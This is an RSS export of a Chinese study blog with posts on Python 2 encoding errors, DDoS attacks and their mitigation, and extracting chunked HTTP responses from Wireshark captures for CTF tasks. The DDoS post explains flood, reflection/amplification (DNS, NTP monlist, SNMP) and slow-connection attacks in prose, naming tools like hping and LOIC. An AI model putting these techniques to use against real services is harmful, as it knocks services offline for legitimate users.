<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[学习随记]]></title><description><![CDATA[记录学习的点点滴滴]]></description><link>https://blog.agppp.cn/</link><image><url>https://blog.agppp.cn/favicon.png</url><title>学习随记</title><link>https://blog.agppp.cn/</link></image><generator>Ghost 2.6</generator><lastBuildDate>Wed, 25 Mar 2026 01:32:27 GMT</lastBuildDate><atom:link href="https://blog.agppp.cn/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[python2编码报错整理]]></title><description><![CDATA[<h2 id="0x01syntaxerrornonasciicharacter">0x01  SyntaxError: Non-ASCII character</h2>
<p>先从最简单的python编码报错说起，本文所有演示的python文件存储格式默认为utf-8。<br>
创建exploit.py文件，内容如下：</p>
<pre><code>print &quot;测试&quot;
</code></pre>
<p>此时，执行该脚本，会报如下错误：</p>
<pre><code>&gt; python exploit.py
  File &quot;exploit.py&quot;, line 1
SyntaxError: Non-ASCII character '\xe6' in file exploit.py on line 1, but no encoding declared; see http://python.org/dev/peps/pep-0263/</code></pre>]]></description><link>https://blog.agppp.cn/python2bian-ma-bao-cuo-zheng-li/</link><guid isPermaLink="false">5c1e0aa03dd9757083e47f15</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Sat, 22 Dec 2018 10:00:31 GMT</pubDate><content:encoded><![CDATA[<h2 id="0x01syntaxerrornonasciicharacter">0x01  SyntaxError: Non-ASCII character</h2>
<p>先从最简单的python编码报错说起，本文所有演示的python文件存储格式默认为utf-8。<br>
创建exploit.py文件，内容如下：</p>
<pre><code>print &quot;测试&quot;
</code></pre>
<p>此时，执行该脚本，会报如下错误：</p>
<pre><code>&gt; python exploit.py
  File &quot;exploit.py&quot;, line 1
SyntaxError: Non-ASCII character '\xe6' in file exploit.py on line 1, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
</code></pre>
<p>这是由于python2 默认python脚本文件编码格式为ascii，而我们保存的文件格式是utf-8，python解释器在处理脚本时识别不了<code>0xe6</code>这个字符，所以会报错，对此我们需要在脚本开头声明文件编码格式，如下所示：</p>
<pre><code>#coding=utf-8
print &quot;测试&quot;
</code></pre>
<p>这样python就会知道我们当前这个脚本文件的编码格式是utf-8。</p>
<h2 id="0x02ioerrorerrno28">0x02  IOError: [Errno 28] &amp; 乱码</h2>
<p>在windows cmd下执行上述脚本，输出如下：</p>
<pre><code>&gt; python exploit.py
娴嬭瘯
</code></pre>
<p>这是由于当前执行python脚本的cmd窗口的编码格式是gbk,“测试”两个字的utf-8编码对应的是“娴嬭瘯”三个字的gbk编码,为了显示正常，我们需要将字符串解码成unicode，然后在编码为gbk(也可直接输出，print输出时会根据环境进行自动编码)</p>
<pre><code>#coding=utf-8
print &quot;测试&quot;.decode(&quot;utf-8&quot;)
## or
print &quot;测试&quot;.decode(&quot;utf-8&quot;).encode(&quot;gbk&quot;)
</code></pre>
<p>这样就会输出正常了，有时输出可能不是乱码，而是报IOError错误，这也是由于当前输出内容对于cmd窗口来说无法正常识别，</p>
<pre><code>&gt; python 1.py
?Traceback (most recent call last):
  File &quot;1.py&quot;, line 3, in &lt;module&gt;
    print &quot;\xf3\xff&quot;
IOError: [Errno 28] No space left on device
</code></pre>
<p>除了调用decode函数，将字符串按其编码格式转换为unicode外，我们还可以在cmd窗口执行chcp命令，修改当前cmd窗口的编码格式，保证与脚本编码一致</p>
<pre><code>chcp 65001       #转换为utf-8代码页
chcp 936           #转换为默认的gbk
chcp 1252           #转换为拉丁字符集
</code></pre>
<h2 id="0x03unicodedecodeerrorxxxcodeccant">0x03  UnicodeDecodeError: 'xxx' codec can't</h2>
<p>这种报错比较常见，网上给出的解决方案一般是在文件头添加如下代码</p>
<pre><code>#coding=utf-8
import sys
if sys.getdefaultencoding() != 'utf-8':
    reload(sys)
    sys.setdefaultencoding('utf-8') 

</code></pre>
<p>这种方式有时可以解决问题，有时候不能解决。这是由于这并不是一个很好的解决方案，我们需要深入了解一下，这个报错的原因。</p>
<p>首先说一下python2的两个函数  encode 和decode</p>
<pre><code>##  将字符串按utf-8解码，返回的是对应字符串的unicode对象
&quot;测试&quot;.decode(&quot;utf-8&quot;)

## 返回unicode对象按utf-8进行编码的字符串
u&quot;测试&quot;.encode(&quot;utf-8&quot;)
</code></pre>
<p>UnicodeDecodeError一种情况是发生在调用decode函数时，当指定的解码方式无法正确解码指定的字符串时，就会报UnicodeDecodeError，如以下代码：</p>
<pre><code>print &quot;\xff\xff&quot;.decode(&quot;utf-8&quot;)
</code></pre>
<p>utf-8编码表中无以<code>0xff</code>开头的字符，就回报错：</p>
<pre><code>UnicodeDecodeError: 'utf8' codec can't decode byte 0xff in position 0: invalid start byte
</code></pre>
<p>还要一种常见的报错，</p>
<pre><code>UnicodeDecodeError: 'ascii' codec can't decode
</code></pre>
<p>提示无法按ascii进行解码，以如下代码为例：</p>
<pre><code>#coding=utf-8

print &quot;测试&quot;.decode()
</code></pre>
<p>执行时就会报上面的错误，这是由于python的默认编码格式就是ascii，当我们进行docode时不指定解码方式，就会按默认的ascii进行解码，而ascii无法识别<code>0x80~0xff</code>的字符，因此就回报这个错误，这是如果我们在代码开头加上如下代码：</p>
<pre><code>#coding=utf-8
import sys
if sys.getdefaultencoding() != 'utf-8':
    reload(sys)
    sys.setdefaultencoding('utf-8') 

</code></pre>
<p>就会使字符串按默认的utf-8进行解码，从而就不会报错了。但是这种解决方式其实不如在解码时直接指定编码格式，尽可能少的对其他代码造成影响。</p>
<pre><code>#coding=utf-8
print &quot;测试&quot;.decode(&quot;utf-8&quot;)
</code></pre>
<p>UnicodeDecodeError更常见的报错时发生在我们没有调用decode方法，而是调用encode方法时，经过实验发现，encode方法主要是用于将unicode对象转换为字符串，但是当对一个字符串使用encode方法时，如：</p>
<pre><code>&quot;测试&quot;.encode(&quot;utf-8&quot;)
</code></pre>
<p>会发生什么呢？经测试会报如下错误</p>
<pre><code>UnicodeDecodeError: 'ascii' codec can't decode byte 0xe6 in position 0: ordinal not in range(128)
</code></pre>
<p>这是由于对字符串调用encode方法时，会首先尝试按默认编码格式（也就是ascii）将字符串decode为unicode，然后再将unicode按指定的方式encode为字符串，所以就会报decode错了。</p>
<p><strong>总结：在遇到UnicodeDecodeError报错时，不要着急通过 reload(sys)修改系统编码，先检查是不是encode和decode搞错了，对字符串调用了encode，或者时调用decode时未指定或指定错了编码格式。<br>
对于git别人的代码报这个错误，先检查一下是不是当前路径包含了中文。</strong></p>
<h2 id="0x04">0x04 打印二进制字符流</h2>
<h3 id="">输出不全</h3>
<p>有时候再用python处理非文本文件或网络请求时，直接使用print会发现输出的内容只有一部分，以如下代码为例：</p>
<pre><code>print &quot;\x61\x62\x63\x64\x0d\x65\x66&quot;
</code></pre>
<p>只会输出<code>efcd</code>，这是由于字符中出现了<code>\x0d</code>,也就是回车，会将原有输出内容覆盖掉，在输出钱可以考虑将<code>\x0d</code>和替换掉，或者对输出的字符串进行base64编码，然后再用其他工具解码</p>
<h3 id="">报错</h3>
<p>由于二进制字符流中可能出现任意<code>\x00~\xff</code>的字符，因此无论用何种方式解码，输出使都有可能报错，如下所示：</p>
<pre><code>#coding=utf-8
try:
    print &quot;\xf3\xff\xff\xfd\x61\x62\x63&quot;
except Exception as e:
    print repr(e)

try:
    print &quot;\xf3\xff\xfd\x61\x62\x63&quot;.decode(&quot;ascii&quot;)
except Exception as e:
    print repr(e)

try:
    print &quot;\xf3\xff\xfd\x61\x62\x63&quot;.decode(&quot;utf-8&quot;)
except Exception as e:
    print repr(e)

try:
    print &quot;\xf3\xff\xfd\x61\x62\x63&quot;.decode(&quot;gbk&quot;)
except Exception as e:
    print repr(e)

try:
    print &quot;\xf3\xff\xfd\x61\x62\x63&quot;.decode(&quot;iso8859-1&quot;)
except Exception as e:
    print repr(e)    
    
try:
    print &quot;\xf3\xff\xfd\x61\x62\x63&quot;.decode(&quot;ascii&quot;,&quot;ignore&quot;)
except Exception as e:
    print repr(e) 

</code></pre>
<p>输出结果：</p>
<pre><code>?齛bcIOError(2, 'No such file or directory')
UnicodeDecodeError('ascii', '\xf3\xff\xfdabc', 0, 1, 'ordinal not in range(128)')
UnicodeDecodeError('utf8', '\xf3\xff\xfdabc', 0, 1, 'invalid continuation byte')
UnicodeDecodeError('gbk', '\xf3\xff\xfdabc', 0, 2, 'illegal multibyte sequence')
UnicodeEncodeError('gbk', u'\xf3\xff\xfdabc', 1, 2, 'illegal multibyte sequence')
abc
</code></pre>
<p><strong>先说结论：<code>print &quot;\xf3\xff\xfd\x61\x62\x63&quot;.decode(&quot;ascii&quot;,&quot;ignore&quot;)</code> 这种输出方式最佳，自动忽略无法进行ascii解码的字符（记得对<code>\x0d</code>进行处理），</strong></p>
<p>iso8859-1编码虽然可以识别<code>\x00~\xff</code>的所有字符，但是在输出时，无法将所有字符都转为gbk（cmd窗口的默认编码格式为gbk），所以会报UnicodeEncodeError错误。</p>
<p>当然，先将cmd窗口编码转为拉丁字符集 <code>chcp 1252</code><br>
然后再按iso8859-1解码输出，效果更好：</p>
<pre><code>print &quot;\xf3\xff\xfd\x0d\x61\x62\x63&quot;.decode(&quot;iso8859-1&quot;).replace(&quot;\x0d&quot;,&quot;\x0d\x0a&quot;)

&gt; python 1.py
óÿý
abc
</code></pre>
]]></content:encoded></item><item><title><![CDATA[DDOS 学习]]></title><description><![CDATA[<h2 id="0x01ddos">0x01 什么是DDOS</h2>
<h3 id="dos">DOS</h3>
<p>拒绝服务，英文名称是Denial of Service，简称DOS，造成拒绝服务的攻击行为被称为DOS攻击。DOS攻击的目的是使计算机或网络无法提供正常的服务，最常见的DOS攻击一般会用极大的通信量冲击网络，使得所有可用网络资源都被消耗殆尽, 最后导致合法的用户请求无法通过。</p>
<h3 id="ddos">DDOS</h3>
<p>DDoS（Distributed Denial of Service）意为分布式拒绝服务攻击，分布式拒绝服务攻击是从多个来源，彼此协同进行拒绝服务攻击，多个来源可能是攻击者控制的“肉鸡”，也可能是由众多真实的参与者组成，由于DDOS攻击可能来自任何IP，因此无法通过简单的IP封阻的方式进行防御。</p>
<h2 id="0x02ddos">0x02 DDOS攻击目的</h2>
<p>DDoS攻击的主要目的是让指定目标无法提供正常服务，是目前最强大、最难防御的攻击之一。这是一个世界级的难题并没有解决办法只能缓解。</p>
<h2 id="0x03ddos">0x03 常见DDOS方式</h2>
<p>DDOS攻击主要分为三类：流量型攻击；连接型攻击；特殊协议缺陷</p>
<h3 id="">流量型攻击</h3>
<p>流量型攻击主要通过发送大量请求，将服务器网络带宽占满，使其不能对正常用户发起的请求进行响应。流量型攻击又分为直接攻击和反射放大攻击。</p>
<h4 id="">直接攻击</h4>
<p>使用大量的受控主机向被攻击目标发送大量的网络数据包，以沾满被攻击目标的宽带，并消耗服务器和网络设备的网络数据处理能力，达到拒绝服务的目的</p>
<ul>
<li>Ip</li></ul>]]></description><link>https://blog.agppp.cn/untitled/</link><guid isPermaLink="false">5c14b6fa3dd9757083e47f11</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Sat, 15 Dec 2018 08:12:43 GMT</pubDate><content:encoded><![CDATA[<h2 id="0x01ddos">0x01 什么是DDOS</h2>
<h3 id="dos">DOS</h3>
<p>拒绝服务，英文名称是Denial of Service，简称DOS，造成拒绝服务的攻击行为被称为DOS攻击。DOS攻击的目的是使计算机或网络无法提供正常的服务，最常见的DOS攻击一般会用极大的通信量冲击网络，使得所有可用网络资源都被消耗殆尽, 最后导致合法的用户请求无法通过。</p>
<h3 id="ddos">DDOS</h3>
<p>DDoS（Distributed Denial of Service）意为分布式拒绝服务攻击，分布式拒绝服务攻击是从多个来源，彼此协同进行拒绝服务攻击，多个来源可能是攻击者控制的“肉鸡”，也可能是由众多真实的参与者组成，由于DDOS攻击可能来自任何IP，因此无法通过简单的IP封阻的方式进行防御。</p>
<h2 id="0x02ddos">0x02 DDOS攻击目的</h2>
<p>DDoS攻击的主要目的是让指定目标无法提供正常服务，是目前最强大、最难防御的攻击之一。这是一个世界级的难题并没有解决办法只能缓解。</p>
<h2 id="0x03ddos">0x03 常见DDOS方式</h2>
<p>DDOS攻击主要分为三类：流量型攻击；连接型攻击；特殊协议缺陷</p>
<h3 id="">流量型攻击</h3>
<p>流量型攻击主要通过发送大量请求，将服务器网络带宽占满，使其不能对正常用户发起的请求进行响应。流量型攻击又分为直接攻击和反射放大攻击。</p>
<h4 id="">直接攻击</h4>
<p>使用大量的受控主机向被攻击目标发送大量的网络数据包，以沾满被攻击目标的宽带，并消耗服务器和网络设备的网络数据处理能力，达到拒绝服务的目的</p>
<ul>
<li>Ip lood</li>
</ul>
<p>此攻击以多个随机的源主机地址向目的主机发送超大量的随机或特定的IP包，造成目标主机不能处理其他正常的IP报文。</p>
<ul>
<li>ICMP/IGMP洪水攻击</li>
</ul>
<p>攻击者使用受控主机向被攻击目标发送大量的ICMP/IGMP报文，进行洪水攻击以消耗目标的宽带资源，这种类型的攻击出现的很早，使用hping等工具就能简单的发起攻击。但现在使用这种方法发动的攻击已见不多，被攻击目标可以在其网络边界直接过滤并丢弃ICMP/IGMP数据包使攻击无效化。</p>
<ul>
<li>UDP洪水攻击</li>
</ul>
<p>利用UDP数据报文，攻击者也可以发送洪水攻击，UDP洪水攻击和ICMP/IGMP洪水攻击的原理基本相同，通常，攻击者会使用小包和大包两种方式进行攻击。</p>
<p>小包是指64字节大小的数据包，这是以太网上传输数据帧的最小值，在相同流量下，单包体积越小，数据包的数量就越多。由于交换机、路由器等网络设备需要对没一个数据包进行检查和校验，因此使用UDP小包攻击能够最有效的增大网络设备处理数据包的压力，造成处理速度的缓慢和传输延迟等拒绝服务攻击的效果。</p>
<p>大包是指1500字节以上的数据包，其大小超过了以太网的最大传输单元，使用UDP大包攻击，能够有效的占用网络接口的传输宽带，并迫使被攻击目标在接受到UDP数据时进行分片重组，造成网络拥堵，服务器响应速度变慢。</p>
<p>UDP洪水攻击也是很早就出现的一种拒绝服务攻击方式，这种攻击发动简单，有相当多的工具都能够发动UDP洪水攻击，如hping,LOIC等，但UDP洪水攻击完全依靠受控主机本身的网络性能，因此通常对目标宽带资源的消耗并不太大。</p>
<ul>
<li>Http Flood</li>
</ul>
<p>此攻击类型主要攻击目标为Web服务器上的网页访问服务，当发生攻击时攻击者向被攻击服务器大量高频的发送一个网页或多个网页的请求服务，使服务器忙于向攻击者提供响应资源从而导致不能想正常的合法用户提供请求响应服务</p>
<h4 id="">反射放大攻击</h4>
<p>反射放大攻击又被称为DRDoS（分布式反射拒绝服务）攻击，是指利用路由器、服务器等设施对请求产生应答，从而反射攻击流量并隐藏攻击来源的一种分布式拒绝服务攻击技术</p>
<ul>
<li>ACK反射攻击</li>
</ul>
<p>在传输控制协议建立连接时，首先会进行TCP三次握手，在这个工程中，当服务器端接收到客户端发来的SYN连接请求时，会对该请求进行ACK应答，利用TCP握手的ACK应答，即可进行ACK反射攻击。</p>
<p>如果攻击者将SYN的源IP地址伪造成被攻击目标的IP地址，服务器的应答也就会直接发送给被攻击目标，由于使用TCP协议的服务在互联网上广泛存在，攻击者可以通过受控主机向大量不同的服务器发送伪造源IP地址的SYN请求，从而使服务器响应的大量ACK应答数据涌向被攻击目标，占用目标的网络宽带资源并拒绝服务</p>
<ul>
<li>DNS放大攻击</li>
</ul>
<p>攻击者能够利用dig和EDNS0进行高效的DNS放大攻击，攻击者向广泛存在的开放DNS解析器发送dig查询命令，将OPT RR字段中UDP报文大小设置为很大的值，并将请求的源IP地址伪造成被攻击目标的IP地址。DNS解析器收到查询请求后，会将解析的结果发送给被攻击目标，当大量的解析结果涌向目标时，就会导致目标网络拥堵和缓慢，造成拒绝服务攻击。</p>
<p>攻击者发送的DNS查询请求数据包大小一般为60字节左右，而查询返回结果的数据包大小通常为300字节以上，因此，使用该方式进行放大攻击能够达到50倍以上的放大效果，这种放大效应所产生的攻击效果是非常惊人的，只要攻击的发起端能够发出2Gbit/s的宽带，就能够在目标网络处产生 100Gbit/s的宽带消耗，在2013年3月在Spamhaus的分布式拒绝服务攻击中，主要就是用了DNS放大攻击技术，使得攻击流量达到了史无前例的300Gbit/s，设置拖慢了局部互联网的响应速度。</p>
<ul>
<li>NTP放大攻击</li>
</ul>
<p>网络时间协议是用来使计算器时间同步化的一种协议，他可以使计算机与时钟源进行同步化并提供高精准度的时间校正，NTP使用UDP123端口进行通信。</p>
<p>在NTP协议的服务器实现上，通常会实现一系列Mode7的调试接口，而接口中的monlist请求能够获取到目标NTP服务器进行同步的最后600个客户端的IP地址等信息。这意味着，只需要发送一个很小的请求包，就能触发大量连续的包含IP地址信息等数据的UDP响应数据包。因此攻击者可以将伪造源IP地址的UDP请求包发送给NTP放大器，伪造客户端与NTP服务器的交互，增加“和NTP服务器交互的客户端的数量”，以此来增加monlist请求的响应数据量并增大NTP放大器的放大倍数，只要向NTP放大器发送600个不超过64字节的请求包（约40KB数据），就能够快速的将NTP放大器的放大倍数提高到700倍以上，并在该服务器的NTP服务关闭或重新启动之前一直保持这么大的放大倍数。</p>
<ul>
<li>SNMP放大攻击</li>
</ul>
<p>利用SNMP协议中的默认通信字符串和GetBulk请求，攻击者能够开展有效的SNMP放大攻击，在SNMPv1中定义的get请求可以尝试一次获取多个MIB对象，但相应消息的大小受到设备处理能力的限制，如果设备不能返回全部请求的响应，则会返回一条错误信息。在SNMPv2中，添加了getbulk请求，该请求会通知设备返回尽可能多的数据，这使得管理程序能够通过发送一次请求就获得大段的检索信息。</p>
<p>攻击者向广泛存在并开启了SNMP服务的网络设备发送getbulk请求，使用默认通信字符串作为认证凭据，并将源IP地址伪造成攻击目标的IP地址，设备收到getbulk请求后，会将响应结果发送给攻击目标，当大量的响应结果涌向攻击目标时，就会导致攻击目标网络拥堵和缓慢，造成拒绝服务攻击。</p>
<h3 id="">连接型攻击</h3>
<p>连接型攻击主要通过建立大量连接并努力保持尽量长的连接时间，将网络连接、中间件可用连接或服务器连接占满，使正常用户无法建立连接。</p>
<ul>
<li>Syn Flood</li>
</ul>
<p>依据tcp建立连接的三次握手。此攻击以多个随机的源主机地址向目的主机发送syn包，而在收到目的主机的syn＋ack包后并不回应，目的主机就为这些源主机建立大量的连接队列，由于没有收到ack一直维护这些连接队列，造成资源的大量消耗而不能向正常的请求提供服务。与之类似的攻击方式还有ackflood、s-ackflood、finflood、rstflood、tcpflood</p>
<ul>
<li>http slow header慢速攻击</li>
</ul>
<p>攻击原理：在http协议中规定，http的头部以连续的“\r\n\r\n”作为结束标志。许多web服务器在处理http请求的头部信息时，会等待头部传输结束后再进行处理。因此，如果web服务器没有接收到连续的“\r\n\r\n”，就会一直接收数据并保持与客户端的连接。Slow-header的工作原理是攻击者在发送http get请求时，缓慢的发送无用的header字段，并且一直不发送“\r\n\r\n”结束标志。Web服务器能够处理的并发连接数是有限的，如果攻击者利用大量的主机发送这种不完整的http get请求把那个持续占用这些连接，就会耗尽web服务器的资源。</p>
<ul>
<li>http slow post慢速攻击</li>
</ul>
<p>攻击原理：在post提交方式中，允许在http的头中声明content-length，也就是指定http消息实体的传输长度。当web服务器接收到请求头部中含有content-length字段时，服务器会将该字段的值作为http body的长度，持续接收数据并达到content-length值时对实体的数据内容进行处理。slow post会传送包括整个header的http请求，在提交了头以后，将后面的body部分卡住不发送，这时候服务器在接受了post长度以后，在处理数据之前会等待客户端发送post的内容，攻击者保持连接并且以10s-100s一个字节的速度去发送，就达到了消耗资源的效果，因此不断增加这样的连接会使得服务器的资源被消耗</p>
<ul>
<li>Https-ssl-dos攻击</li>
</ul>
<p>攻击原理：在进行SSL数据传输之前，通信双方首先要进行ssl握手，以协商加密算法交换加密密钥，进行身份认证。通常情况下，这样的ssl握手过程只需要进行一次即可，但是在ssl协议中有一个renegotiation选项，通过它可以进行密钥的重新协商以建立新的密钥。在ssl握手的过程中，服务器会消耗较多的CPU资源来进行加解密，并进行数据的有效性验证。SSL-dos攻击方式的本质是消耗服务器的CPU资源，在协商加密算法的时候，服务器CPU的开销是客户端的15倍左右。攻击者在一个TCP连接中不停地快速重新协商，如果建立多个连接，给服务器端造成的压力会更加明显，从而达到攻击目的</p>
<ul>
<li>CC攻击</li>
</ul>
<p>攻击原理：利用代理服务器向受害者发起大量HTTP Get请求；主要请求动态页面，涉及到数据库访问操作；数据库负载以及数据库连接池负载极高，无法响应正常请求</p>
<h3 id="">特殊协议缺陷</h3>
<p>特殊协议缺陷主要利用中间件或者网络协议的缺陷，通过构造特殊的请求包，使服务器需要消耗大量的内存或计算资源进行处理，导致CPU或内存被占满，或者服务发生假死，从而无法对正常请求进行响应。</p>
<h2 id="0x04">0x04 防御手段</h2>
<h3 id="">应用层</h3>
<p>关闭apache最大连接数等，合理配置中间件，缓解ddos攻击，页面中添加验证码，比如搜索数据库时。编写代码时，尽量实现优化，并合理使用缓存技术，减少数据库的读取操作。</p>
<h3 id="">硬件</h3>
<ul>
<li>
<p>1、 增加带宽<br>
带宽直接决定了承受攻击的能力，增加带宽硬防护是理论最优解，只要带宽大于攻击流量就不怕了，但成本非常高。</p>
</li>
<li>
<p>2、提升硬件配置<br>
在有网络带宽保证的前提下，尽量提升CPU、内存、硬盘、网卡、路由器、交换机等硬件设施的配置，选用知名度高、 口碑好的产品。</p>
</li>
<li>
<p>3、 硬件防火墙<br>
将服务器放到具有DDoS硬件防火墙的机房。专业级防火墙通常具有对异常流量的清洗过滤功能，可对抗SYN/ACK攻击、TCP全连接攻击、刷脚本攻击等等流量型DDoS攻击</p>
</li>
</ul>
<h3 id="">单个主机</h3>
<ul>
<li>1、及时修复系统漏洞，升级安全补丁。</li>
<li>2、关闭不必要的服务和端口，减少不必要的系统加载项及自启动项，尽可能减少服务器中执行较少的进程，更改工作模式</li>
<li>3、iptables</li>
<li>4、严格控制账户权限，禁止root登录，密码登录，修改常用服务的默认端口</li>
</ul>
<h3 id="">整个服务器系统</h3>
<ul>
<li>1、DDoS 清洗</li>
</ul>
<p>DDoS 清洗会对用户请求数据进行实时监控，及时发现DOS攻击等异常流量，在不影响正常业务开展的情况下清洗掉这些异常流量。</p>
<ul>
<li>2、CDN</li>
</ul>
<p>CDN是构建在网络之上的内容分发网络，依靠部署在各地的边缘服务器，通过中心平台的分发、调度等功能模块，使用户就近获取所需内容，降低网络拥塞，提高用户访问响应速度和命中率，因此CDN加速也用到了负载均衡技术。相比高防硬件防火墙不可能扛下无限流量的限制，CDN则更加理智，多节点分担渗透流量，目前大部分的CDN节点都有200G 的流量防护功能，再加上硬防的防护，可以说能应付目绝大多数的DDoS攻击了。</p>
<ul>
<li>3、 负载均衡</li>
</ul>
<p>普通级别服务器处理数据的能力最多只能答复每秒数十万个链接请求，网络处理能力很受限制。负载均衡建立在现有网络结构之上，它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性，对DDoS流量攻击和CC攻击都很见效。CC攻击使服务器由于大量的网络传输而过载，而通常这些网络流量针对某一个页面或一个链接而产生。在企业网站加上负载均衡方案后，链接请求被均衡分配到各个服务器上，减少单个服务器的负担，整个服务器系统可以处理每秒上千万甚至更多的服务请求，用户访问速度也会加快。</p>
<ul>
<li>4、分布式集群防御</li>
</ul>
<p>分布式集群防御的特点是在每个节点服务器配置多个IP地址，并且每个节点能承受不低于10G的DDoS攻击，如一个节点受攻击无法提供服务，系统将会根据优先级设置自动切换另一个节点，并将攻击者的数据包全部返回发送点，使攻击源成为瘫痪状态，从更为深度的安全防护角度去影响企业的安全执行决策。</p>
<h2 id="0x05">0x05参考文章</h2>
<blockquote>
<p><a href="https://www.secpulse.com/archives/64088.html">https://www.secpulse.com/archives/64088.html</a><br>
<a href="https://baijiahao.baidu.com/s?id=1603040969904482717&amp;wfr=spider&amp;for=pc">https://baijiahao.baidu.com/s?id=1603040969904482717&amp;wfr=spider&amp;for=pc</a><br>
<a href="https://blog.csdn.net/fanren224/article/details/79693872">https://blog.csdn.net/fanren224/article/details/79693872</a><br>
<a href="https://zhuanlan.zhihu.com/p/26828198">https://zhuanlan.zhihu.com/p/26828198</a><br>
<a href="http://m.sohu.com/a/142846972_629429">http://m.sohu.com/a/142846972_629429</a><br>
<a href="https://zhuanlan.zhihu.com/p/22953451">https://zhuanlan.zhihu.com/p/22953451</a><br>
<a href="https://www.zhihu.com/question/26741164/answer/52776074">https://www.zhihu.com/question/26741164/answer/52776074</a><br>
<a href="https://www.zhihu.com/question/26741164/answer/379370437">https://www.zhihu.com/question/26741164/answer/379370437</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[wireshark数据包导出及问题]]></title><description><![CDATA[<p>在做ctf misc中关于数据包题目的时候，总会遇到需要将http响应报文中的内容，一般需要将报文导出来，然后再进行编辑，流程如下图所示：</p>
<figure class="kg-card kg-image-card"><img src="https://blog.agppp.cn/content/images/2018/11/111.gif" class="kg-image"></figure><h3 id="">问题</h3>
<p>但是最开始我是用的另一种方法，而且经常会出错，记录一下出错原因。在分析一个上传或下载的压缩包时，由于往往数据内容不止一个数据包，为了查看完整报文，一般我们会通过“follow stream”来查看一个会话的全部数据，在确定这个报文是我们需要处理的报文后，接下来需要将报文导出，我最开始尝试的方法如下所示：</p>
<figure class="kg-card kg-image-card"><img src="https://blog.agppp.cn/content/images/2018/11/222.gif" class="kg-image"></figure><p>大概就是通过查看原始数据，然后保存在notepad++中，删除换行，然后复制粘贴到winhex中，删除前后的无用数据，但是这种方式保存的压缩包通常无法解压。通过对比第一种方式导出的压缩包，发现第二种方式保存的数据包会大一点，通过对比不同，终于发现原因。经测试发现，在原始数据包中某些位置，存在导出数据包中所没有的部分字节，如下图所示：<br>
<img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-27_20-10-00.png" alt="Snipaste_2018-11-27_20-10-00"><br>
其实再仔细观察原始数据报文，原始数据报文中，开头和结尾均存在一些奇怪的字符：<br>
数据报文开头<br>
<img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-27_20-10-00-1.png" alt="Snipaste_2018-11-27_20-10-00-1"><br>
数据报文结尾<br>
<img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-27_20-12-14.png" alt="Snipaste_2018-11-27_20-12-14"></p>
<h3 id="">解密</h3>
<p>导出数据包中不存在这些字符，说明这些字符不属于http response body的负载数据，也就是说不属于压缩包的数据，那只能是http协议中的字段，在网上找了很多关于http协议的材料，终于知道这些字符是什么了。<br>
众所周知，</p>]]></description><link>https://blog.agppp.cn/wiresharkti-qu-http/</link><guid isPermaLink="false">5bfbbf3d5faac851c875f7e3</guid><category><![CDATA[ctf]]></category><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 27 Nov 2018 13:33:03 GMT</pubDate><content:encoded><![CDATA[<p>在做ctf misc中关于数据包题目的时候，总会遇到需要将http响应报文中的内容，一般需要将报文导出来，然后再进行编辑，流程如下图所示：</p>
<figure class="kg-card kg-image-card"><img src="https://blog.agppp.cn/content/images/2018/11/111.gif" class="kg-image"></figure><h3 id="">问题</h3>
<p>但是最开始我是用的另一种方法，而且经常会出错，记录一下出错原因。在分析一个上传或下载的压缩包时，由于往往数据内容不止一个数据包，为了查看完整报文，一般我们会通过“follow stream”来查看一个会话的全部数据，在确定这个报文是我们需要处理的报文后，接下来需要将报文导出，我最开始尝试的方法如下所示：</p>
<figure class="kg-card kg-image-card"><img src="https://blog.agppp.cn/content/images/2018/11/222.gif" class="kg-image"></figure><p>大概就是通过查看原始数据，然后保存在notepad++中，删除换行，然后复制粘贴到winhex中，删除前后的无用数据，但是这种方式保存的压缩包通常无法解压。通过对比第一种方式导出的压缩包，发现第二种方式保存的数据包会大一点，通过对比不同，终于发现原因。经测试发现，在原始数据包中某些位置，存在导出数据包中所没有的部分字节，如下图所示：<br>
<img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-27_20-10-00.png" alt="Snipaste_2018-11-27_20-10-00"><br>
其实再仔细观察原始数据报文，原始数据报文中，开头和结尾均存在一些奇怪的字符：<br>
数据报文开头<br>
<img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-27_20-10-00-1.png" alt="Snipaste_2018-11-27_20-10-00-1"><br>
数据报文结尾<br>
<img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-27_20-12-14.png" alt="Snipaste_2018-11-27_20-12-14"></p>
<h3 id="">解密</h3>
<p>导出数据包中不存在这些字符，说明这些字符不属于http response body的负载数据，也就是说不属于压缩包的数据，那只能是http协议中的字段，在网上找了很多关于http协议的材料，终于知道这些字符是什么了。<br>
众所周知，http response 通过在报文头中设置<code>Content-Length</code>字段来标识响应内容的长度，如果内容是动态生成的，在发送前无法知道具体长度，则可采用分块编码方案，采用分块编码方案时需要设置<code>Transfer-Encoding: chunked</code>，不用设置<code>Content-Length</code>字段，response body 格式如下所示：</p>
<pre><code>HTTP/1.1 200 OK&lt;CR&gt;&lt;LF&gt;
Transfer-Encoding: chunked&lt;CR&gt;&lt;LF&gt;
Content-Type: text/html&lt;CR&gt;&lt;LF&gt;
&lt;CR&gt;&lt;LF&gt;
3&lt;CR&gt;&lt;LF&gt;
abc&lt;CR&gt;&lt;LF&gt;
4&lt;CR&gt;&lt;LF&gt;
abcd&lt;CR&gt;&lt;LF&gt;
...
0&lt;CR&gt;&lt;LF&gt;
</code></pre>
<p>每个块开头为块长度，与正文之间用<code>&lt;CR&gt;&lt;LF&gt;</code>隔开，正文结束与下一个块也用<code>&lt;CR&gt;&lt;LF&gt;</code>隔开,长度为0的块表示结尾。<br>
